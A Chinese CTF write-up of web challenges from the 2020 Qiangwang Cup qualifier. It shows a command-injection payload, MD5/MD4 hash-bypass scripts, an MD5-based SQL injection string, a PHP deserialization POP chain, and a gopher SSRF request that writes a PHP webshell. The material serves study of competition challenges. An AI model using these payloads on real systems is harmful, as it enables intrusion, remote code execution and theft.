2020第四届强网杯初赛部分Web相关题目Writeup

2020第四届强网杯初赛部分Web相关题目Writeup

摘要:第四届强网杯Web部分相关题解

0x01 写在前面

这次强网杯是跟着NepNep的师傅们一起打的,Web方面题目质量非常的高,至少我跟着师傅解题的过程中学到了不少姿势。特此记录一下本次比赛,并趁着环境还在复现一下题目。

0x02 Writeup部分

主动

弱智题目,直接命令执行后F12即可:

1
127.0.0.1%20|%20cat%20*.php

Funhash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();


?>

level 1:

md4爆破,整个脚本爆破就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib
import Crypto.Hash.MD4
import re
prefix = '0e'
def breakit():
iters = 0
while 1:
s = (prefix + str(iters)).encode('utf-8')
hashed_s = hashlib.new('md4', s).hexdigest()
iters = iters + 1
r = re.match('^0e[0-9]{30}', hashed_s)
if r:
print ("[+] found! md4( {} ) ---> {}".format(s, hashed_s))
print ("[+] in {} iterations".format(iters))
exit(0)
if iters % 1000000 == 0:
print ("[+] current value: {} {} iterations,
continue...".format(s, iters))
breakit()

结果是0e251288019

level 2:

多种解法,我个人直接拿了之前的爆破脚本莽的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import urllib
import requests
import hashlib
hexString1 =
'4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2'
hexString2 =
'4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2'
hexList1 = []
intList1 = []
asciiString1 =''
while True:intString1 = hexString1[0:2]
hexString1 = hexString1[2:]
hexList1.append(intString1)
if (hexString1 == ''):
break
for i in hexList1:
intList1.append(int(i,16))
for j in intList1:
asciiString1 += chr(int(j))
f = open('1.bin','w')
f.write(asciiString1)
f.close()
hexList2 = []
intList2 = []
asciiString2 =''
while True:
intString2 = hexString2[0:2]
hexString2 = hexString2[2:]
hexList2.append(intString2)
if (hexString2 == ''):
break
for i in hexList2:
intList2.append(int(i,16))
for j in intList2:
asciiString2 += chr(int(j))
f = open('2.bin','w')
f.write(asciiString2)
f.close()
hash2=''
hash3= ''
for line in open('1.bin'):
hash2 += urllib.quote(line)
for line in open('2.bin'):
hash3 += urllib.quote(line)
print hash2
print hash3
url = 'http://39.101.177.96/?hash1=0e251288019&hash2={}&hash3={}'
r = requests.get(url.format(hash2, hash3))
p

shana师傅直接数组绕过,更为简洁。

1
hash2[]=3&hash3[]=4

level 3:

md5注入https://blog.csdn.net/March97/article/details/81222922

综上,最后的payload:

解法1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import urllib
import requests
import hashlib
hexString1 =
'4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284
bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2'
hexString2 =
'4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284
bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2'
hexList1 = []
intList1 = []
asciiString1 = ''
while True:
intString1 = hexString1[0:2]
hexString1 = hexString1[2:]
hexList1.append(intString1)
if (hexString1 == ''):
break
for i in hexList1:
intList1.append(int(i, 16))
for j in intList1:
asciiString1 += chr(int(j))
f = open('1.bin', 'w')
f.write(asciiString1)
f.close()
hexList2 = []
intList2 = []
asciiString2 = ''
while True:
intString2 = hexString2[0:2]
hexString2 = hexString2[2:]
hexList2.append(intString2)
if (hexString2 == ''):
break
for i in hexList2:
intList2.append(int(i, 16))
for j in intList2:
asciiString2 += chr(int(j))
f = open('2.bin', 'w')
f.write(asciiString2)
f.close()
hash2 = ''
hash3 = ''
for line in open('1.bin'):
hash2 += urllib.quote(line)
for line in open('2.bin'):
hash3 += urllib.quote(line)
print(hash2)
print(hash3)
url = 'http://39.101.177.96/?hash1=0e251288019&hash2={}&hash3=
{}&hash4=ffifdyop'
r = requests.get(url.format(hash2, hash3))
print(r.text)

解法2:

1
/?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

Web辅助

这题我没参与解题过程,但也记录下吧。因为当时一直在看那道half infiltration,思路还算简单,反序列化嘛,POP链一找到就很容易搞了。

考点是字符串逃逸+反序列化

1
2
3
4
5
6
7
8
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}

三个字符变五个字符,这就逃逸了两个字符了。

而后还有一个过滤的绕过,这个在

1
2
3
4
5
6
7
8
9
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}

后面的_wakeup()修改属性个数即可绕过。

half_infiltration

这题足足肝了两天才肝出来,shana师傅tql了。

考点一:反序列化+global fatal error 绕过ob_end_clean()

这题当时被那个ssrf.php误导了,一直以为要通过soapclient来套娃ssrf,忽略了请求会创建一个新进程这个事实(虽然其实这题也是套娃)。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Pass
{


function read()
{
ob_start();
global $result;
print $result;

}
}

class User
{
public $age,$sex,$num,$next;

function __construct($age, $sex, $num, $next)
{
$this->age = $age;
$this->sex = $sex;
$this->num = $num;
$this->next = $next;
}


}

$a = new User(new Pass(), "read", "result", '');
$b = new User(new Pass(), "read", "this", '');
$a->next=$b;

echo urlencode(serialize($a));

打进去得到ssrf.php的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");
}

if($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);
}
?>

可以看到,我们通过传参就可以打进内网了。经过端口扫描,最后可以得到40000端口是可以用的。

题目给了hint,说是在index.php下面有一个uploads目录,结合网页html源码,可以推断出这其实就是一个文件上传

很容易想到利用gopher来进行文件写入。可以构造gopher的传输数据包来用gopher POST我们需要写入的文件。

写了个专门用于构造gopher POST包的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- coding: utf-8 -*-
# @Author : Hn13
# @Blog : https://www.hn13.top
from urllib.parse import quote

# post body
val1 = 'hn13'
val2 = 'hn13.txt'
param1="file"
param2="content"

# post path
path = '/'

port = '99'


post_raw = "{}={}&{}={}".format(param1, val1, param2, val2)
payload = """_POST%20%2f{}%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A{}%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-length%3A%20{}%250d%250a%250d%250a{}"""
payload =payload.format(path, port, len(post_raw), quote(post_raw))

print(payload)

在我们POST了对应的文件后,可以通过/uploads/sessionId/filename来访问我们的文件,比方我们先post过去一个hn13.txt

1
?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A40000%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-length%3A%2026%250d%250a%250d%250afile%3Dhn13.txt%26content%3Dhn13

可以写入,在之后的fuzz中,我们会发现,文件内容尖括号、php、=都被过滤了,甚至当时我们fuzz的时候发现单个数字6和4都被过滤了。但是filename过滤的并不严格,由此,base64双编码filename为,content为,成功绕过(这边直接用shana师傅的payload了):

1
2
3
file=php://filter/convert.base64-decode|convert.base64-
decode/resource=shana.php&content=UEQ5d2FIQWdkbUZ5WDJSMWJYQW9JakVpS1R0emVYTjBaVzB
vSW14eklDOGlLVHM9

这边是写入了一个一句话木马,但其实可以直接反引号命令执行。

我复现到拿flag的时候网站正好关了,所以就到这吧。


评论